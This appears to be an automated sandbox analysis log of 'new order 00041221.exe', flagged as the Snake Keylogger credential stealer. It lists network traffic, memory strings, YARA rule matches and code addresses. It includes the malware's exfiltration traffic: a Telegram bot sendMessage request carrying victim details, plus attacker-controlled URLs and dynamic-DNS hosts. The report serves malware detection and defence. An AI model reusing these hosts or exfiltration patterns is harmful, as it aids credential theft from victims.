Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:899552%0D%0ADate%20and%20Time:%2027/07/2024%20/%2000:07:11%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20899552%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org
Source: global traffic	DNS traffic detected: DNS query: mail.moonbrosurgical.com
Source: global traffic	DNS traffic detected: DNS query: 15.164.165.52.in-addr.arpa

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Fri, 26 Jul 2024 07:03:27 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: new order 00041221.exe, 00000003.00000002.3711414422.00000000030D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?L
Source: new order 00041221.exe, 00000001.00000002.1271925183.0000000003859000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000001.00000002.1271925183.00000000038FA000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3707232518.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded
Source: new order 00041221.exe, 00000001.00000002.1271925183.0000000003859000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000001.00000002.1271925183.00000000038FA000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3711414422.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3707232518.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: new order 00041221.exe, 00000001.00000002.1271925183.0000000003859000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000001.00000002.1271925183.00000000038FA000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3711414422.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3707232518.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: new order 00041221.exe, 00000003.00000002.3711414422.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: new order 00041221.exe, 00000003.00000002.3711414422.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: new order 00041221.exe, 00000001.00000002.1271925183.0000000003859000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000001.00000002.1271925183.00000000038FA000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3707232518.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: new order 00041221.exe, 00000003.00000002.3711414422.00000000030E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mail.moonbrosurgical.com
Source: new order 00041221.exe, 00000003.00000002.3711414422.00000000030E0000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3710772677.0000000001337000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://r11.i.lencr.org/0Q
Source: new order 00041221.exe, 00000003.00000002.3711414422.00000000030E0000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3710772677.0000000001337000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://r11.o.lencr.org0#
Source: new order 00041221.exe, 00000003.00000002.3711414422.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: new order 00041221.exe, 00000001.00000002.1271925183.0000000003859000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000001.00000002.1271925183.00000000038FA000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3711414422.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3707232518.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: new order 00041221.exe, 00000003.00000002.3711414422.00000000030E0000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3716273829.0000000006678000.00000004.00000020.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3710772677.0000000001337000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: new order 00041221.exe, 00000003.00000002.3711414422.00000000030E0000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3716273829.0000000006678000.00000004.00000020.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3710772677.0000000001337000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: new order 00041221.exe, 00000003.00000002.3714025958.0000000003F01000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3714025958.00000000041EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: new order 00041221.exe, 00000003.00000002.3711414422.0000000002FC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: new order 00041221.exe, 00000001.00000002.1271925183.0000000003859000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000001.00000002.1271925183.00000000038FA000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3707232518.0000000000402000.00000040.00000400.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3711414422.0000000002FC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: new order 00041221.exe, 00000003.00000002.3711414422.0000000002FC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: new order 00041221.exe, 00000003.00000002.3711414422.0000000002FC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:899552%0D%0ADate%20a
Source: new order 00041221.exe, 00000003.00000002.3714025958.0000000003F01000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3714025958.00000000041EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: new order 00041221.exe, 00000003.00000002.3714025958.0000000003F01000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3714025958.00000000041EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: new order 00041221.exe, 00000003.00000002.3714025958.0000000003F01000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3714025958.00000000041EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: new order 00041221.exe, 00000003.00000002.3711414422.0000000003074000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3711414422.0000000003065000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3711414422.00000000030A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: new order 00041221.exe, 00000003.00000002.3711414422.0000000003065000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en0
Source: new order 00041221.exe, 00000003.00000002.3711414422.000000000306F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enlB
Source: new order 00041221.exe, 00000003.00000002.3714025958.0000000003F01000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3714025958.00000000041EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: new order 00041221.exe, 00000003.00000002.3714025958.0000000003F01000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3714025958.00000000041EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: new order 00041221.exe, 00000003.00000002.3714025958.0000000003F01000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3714025958.00000000041EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: new order 00041221.exe, 00000003.00000002.3711414422.0000000002F2F000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3711414422.0000000002F9F000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3711414422.0000000002FC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: new order 00041221.exe, 00000001.00000002.1271925183.0000000003859000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000001.00000002.1271925183.00000000038FA000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3711414422.0000000002F2F000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3707232518.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: new order 00041221.exe, 00000003.00000002.3711414422.0000000002F5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.33
Source: new order 00041221.exe, 00000003.00000002.3711414422.0000000002F9F000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3711414422.0000000002FC7000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3711414422.0000000002F5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.33$
Source: new order 00041221.exe, 00000003.00000002.3714025958.0000000003F01000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3714025958.00000000041EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: new order 00041221.exe, 00000003.00000002.3714025958.0000000003F01000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3714025958.00000000041EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: new order 00041221.exe, 00000003.00000002.3711414422.00000000030A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/
Source: new order 00041221.exe, 00000003.00000002.3711414422.0000000003096000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/0
Source: new order 00041221.exe, 00000003.00000002.3711414422.00000000030A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/lB

Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49726 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 1.2.new order 00041221.exe.3859970.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 1.2.new order 00041221.exe.3859970.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 1.2.new order 00041221.exe.3859970.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 1.2.new order 00041221.exe.3859970.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 1.2.new order 00041221.exe.3859970.3.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 3.2.new order 00041221.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 1.2.new order 00041221.exe.3859970.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 1.2.new order 00041221.exe.38fa868.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 3.2.new order 00041221.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 1.2.new order 00041221.exe.38fa868.2.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 3.2.new order 00041221.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 1.2.new order 00041221.exe.38fa868.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 1.2.new order 00041221.exe.38fa868.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 1.2.new order 00041221.exe.38fa868.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 1.2.new order 00041221.exe.38fa868.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000003.00000002.3707232518.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000001.00000002.1271925183.0000000003859000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000001.00000002.1271925183.00000000038FA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: new order 00041221.exe PID: 1000, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: new order 00041221.exe PID: 5292, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown

.NET source code contains very large array initializations

Source: new order 00041221.exe, BaseTypeRequiredAttribute.cs

Large array initialization: : array initializer size 620175

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: new order 00041221.exe

Source: C:\Users\user\Desktop\new order 00041221.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 1_2_04C86F4C	1_2_04C86F4C
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 1_2_04C83E3C	1_2_04C83E3C
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 1_2_04C85858	1_2_04C85858
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 1_2_04C85868	1_2_04C85868
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 1_2_04C87810	1_2_04C87810
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 1_2_04DD65D0	1_2_04DD65D0
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 1_2_04DDE4F4	1_2_04DDE4F4
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 1_2_04DD7328	1_2_04DD7328
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 1_2_04DF75C0	1_2_04DF75C0
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 1_2_04DF4640	1_2_04DF4640
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 1_2_04DFB250	1_2_04DFB250
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 1_2_04DFB260	1_2_04DFB260
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 1_2_04DF3B60	1_2_04DF3B60
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 1_2_06B77240	1_2_06B77240
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 1_2_06B70040	1_2_06B70040
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 1_2_06B746B0	1_2_06B746B0
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 1_2_06B746A2	1_2_06B746A2
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 1_2_06B77240	1_2_06B77240
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 1_2_06B72FD8	1_2_06B72FD8
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 1_2_06B73410	1_2_06B73410
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 1_2_06B73400	1_2_06B73400
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 1_2_06B7A290	1_2_06B7A290
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 1_2_06B74AE8	1_2_06B74AE8
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 1_2_06B74AD8	1_2_06B74AD8
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 1_2_06B72BA0	1_2_06B72BA0
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 1_2_06B72B80	1_2_06B72B80
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 1_2_06B70006	1_2_06B70006
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 3_2_0127C146	3_2_0127C146
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 3_2_0127A088	3_2_0127A088
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 3_2_01275362	3_2_01275362
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 3_2_0127D2CA	3_2_0127D2CA
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 3_2_0127D599	3_2_0127D599
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 3_2_0127C468	3_2_0127C468
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 3_2_0127C738	3_2_0127C738
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 3_2_012769A0	3_2_012769A0
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 3_2_012729E0	3_2_012729E0
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 3_2_0127CD28	3_2_0127CD28
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 3_2_0127EC18	3_2_0127EC18
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 3_2_0127CFF7	3_2_0127CFF7
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 3_2_01276FC8	3_2_01276FC8
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 3_2_0127F7F1	3_2_0127F7F1
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 3_2_0127EC0A	3_2_0127EC0A
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 3_2_0127FC48	3_2_0127FC48
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 3_2_01273E09	3_2_01273E09
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 3_2_05A397B0	3_2_05A397B0
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 3_2_05A35290	3_2_05A35290
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 3_2_05A39ED8	3_2_05A39ED8
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 3_2_05A3F1B9	3_2_05A3F1B9
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 3_2_05A39590	3_2_05A39590
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 3_2_05A38DF9	3_2_05A38DF9
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 3_2_05A3F1C8	3_2_05A3F1C8
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 3_2_05A3E908	3_2_05A3E908
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 3_2_05A3E918	3_2_05A3E918
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 3_2_05A32970	3_2_05A32970
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 3_2_05A3ED70	3_2_05A3ED70
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 3_2_05A3E4B3	3_2_05A3E4B3
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 3_2_05A3E4C0	3_2_05A3E4C0
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 3_2_05A30023	3_2_05A30023
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 3_2_05A3DC01	3_2_05A3DC01
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 3_2_05A3DC10	3_2_05A3DC10
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 3_2_05A3E068	3_2_05A3E068
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 3_2_05A30040	3_2_05A30040
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 3_2_05A3E059	3_2_05A3E059
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 3_2_05A31BA8	3_2_05A31BA8
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 3_2_05A3D7B8	3_2_05A3D7B8
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 3_2_05A31B97	3_2_05A31B97
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 3_2_05A30B20	3_2_05A30B20
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 3_2_05A30B30	3_2_05A30B30
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 3_2_05A3CF08	3_2_05A3CF08
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 3_2_05A3D360	3_2_05A3D360
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 3_2_05A35280	3_2_05A35280
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 3_2_05A32288	3_2_05A32288
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 3_2_05A3F620	3_2_05A3F620
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 3_2_05A38E08	3_2_05A38E08
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 3_2_05A3F610	3_2_05A3F610
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 3_2_05A3FA6B	3_2_05A3FA6B
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 3_2_05A39E69	3_2_05A39E69
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 3_2_05A3FA78	3_2_05A3FA78
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 3_2_05A32278	3_2_05A32278

Source: new order 00041221.exe, 00000001.00000002.1269553878.000000000079E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs new order 00041221.exe
Source: new order 00041221.exe, 00000001.00000002.1278242473.0000000006AD0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs new order 00041221.exe
Source: new order 00041221.exe, 00000001.00000002.1271292903.0000000002851000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMML.dll2 vs new order 00041221.exe
Source: new order 00041221.exe, 00000001.00000002.1271292903.00000000028AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRemington.exe4 vs new order 00041221.exe
Source: new order 00041221.exe, 00000001.00000002.1277540501.0000000004E00000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMML.dll2 vs new order 00041221.exe
Source: new order 00041221.exe, 00000001.00000000.1238190903.0000000000338000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameJUWJ.exe2 vs new order 00041221.exe
Source: new order 00041221.exe, 00000001.00000002.1271925183.0000000003A2E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs new order 00041221.exe
Source: new order 00041221.exe, 00000001.00000002.1271925183.0000000003859000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRemington.exe4 vs new order 00041221.exe
Source: new order 00041221.exe, 00000001.00000002.1271925183.00000000038FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRemington.exe4 vs new order 00041221.exe
Source: new order 00041221.exe, 00000003.00000002.3708230795.00000000010F7000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs new order 00041221.exe
Source: new order 00041221.exe, 00000003.00000002.3707232518.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRemington.exe4 vs new order 00041221.exe
Source: new order 00041221.exe	Binary or memory string: OriginalFilenameJUWJ.exe2 vs new order 00041221.exe

Source: new order 00041221.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 1.2.new order 00041221.exe.3859970.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
